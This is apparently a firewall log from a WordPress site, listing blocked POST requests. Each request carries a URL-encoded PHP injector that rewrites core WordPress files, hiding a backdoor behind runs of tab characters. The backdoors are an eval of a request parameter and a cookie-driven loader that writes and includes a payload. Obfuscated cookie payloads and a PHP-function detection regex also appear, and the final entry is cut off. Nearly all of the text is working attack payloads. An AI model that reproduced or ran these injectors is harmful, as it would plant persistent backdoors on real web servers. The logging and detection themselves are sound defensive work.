HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLKxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:3257\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-dest:document\n\nay=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-patterns\/query-offset-posts.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B24%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B24%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B17%255D%253Bif%2528%2521%2524p%255B2%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B3%255D%2528%2524k%252C%2524p%255B8%255D%2529%253B%2524p%255B16%255D%2528%2524n%252C%2524p%255B0%255D.%2524p%255B25%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:43:02","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-patterns\/query-offset-posts.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B24%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B24%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B17%255D%253Bif%2528%2521%2524p%255B2%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B3%255D%2528%2524k%252C%2524p%255B8%255D%2529%253B%2524p%255B16%255D%2528%2524n%252C%2524p%255B0%255D.%2524p%255B25%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3280\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-fetch-site:none\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-dest:document\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-patterns\/query-offset-posts.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B24%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B24%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B17%255D%253Bif%2528%2521%2524p%255B2%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B3%255D%2528%2524k%252C%2524p%255B8%255D%2529%253B%2524p%255B16%255D%2528%2524n%252C%2524p%255B0%255D.%2524p%255B25%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 13:43:11","54.36.177.228","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ho:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-user-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527leclWG%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:2069\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFT8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nsec-fetch-dest:document\n\nHo=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-user-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527leclWG%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:43:17","107.155.87.193","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Xh:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-user-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527leclWG%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJTtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:2069\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-dest:document\n\nXh=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-user-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527leclWG%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:43:22","172.86.89.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-user-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527leclWG%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:2069\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLxxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nsec-fetch-dest:document\n\nbI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-user-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527leclWG%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:43:34","148.113.9.51","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> El:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-user-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527leclWG%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C